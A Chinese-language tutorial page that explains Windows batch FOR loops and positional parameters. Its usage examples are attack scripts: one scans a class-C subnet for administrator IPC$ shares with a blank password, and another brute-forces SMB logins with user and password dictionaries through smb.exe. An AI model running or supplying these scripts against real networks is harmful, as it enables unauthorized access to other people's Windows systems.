附:批處理命令與變量

2018-11-06 10:11 更新

附:批處理命令與變量


1:for命令及變量 基本格式: 

FOR /參數(shù) %variable IN (set) DO command [command_parameters] %variable:指定一個(gè)單一字母可替換的參數(shù),如:%i ,而指定一個(gè)變量則用:%%i ,而調(diào)用變量時(shí)用:%i% ,變量是區(qū)分大小寫的(%i 不等于 %I)。

批處理每次能處理的變量從%0—%9共10個(gè),其中%0默認(rèn)給批處理文件名使用,%1默認(rèn)為使用此批處理時(shí)輸入的的第一個(gè)值,同理:%2—%9指輸入的第2-9個(gè)值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3


(set):指定一個(gè)或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一個(gè)"1"指起始值,第二個(gè)"1"指增長量,第三個(gè)"254"指結(jié)束值,即:從1到254;“(1 -1 254)”說明:即從254到1 }


command:指定對第個(gè)文件執(zhí)行的命令,如:net use命令;如要執(zhí)行多個(gè)命令時(shí),命令這間加:& 來隔開

command_parameters:為特定命令指定參數(shù)或命令行開關(guān)


IN (set):指在(set)中取值;DO command :指執(zhí)行command


參數(shù):/L 指用增量形式{ (set)為增量形式時(shí) };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時(shí),如(d:\pass.txt)時(shí) }。 

用法舉例: 

@echo off 

echo 用法格式:test.bat *.*.* > test.txt 


for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.txt 

存為test.bat 說明:對指定的一個(gè)C類網(wǎng)段的254個(gè)IP依次試建立***istrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。


/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認(rèn)的 %1;%%G 為變量(ip的最后一位);& 用來隔開echo 和net use 這二個(gè)命令;| 指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結(jié)止值。 

@echo off 

echo 用法格式:ok.bat ip 

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 

存為:ok.exe 說明:輸入一個(gè)IP后,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認(rèn))。


以上內(nèi)容是否對您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號
微信公眾號

編程獅公眾號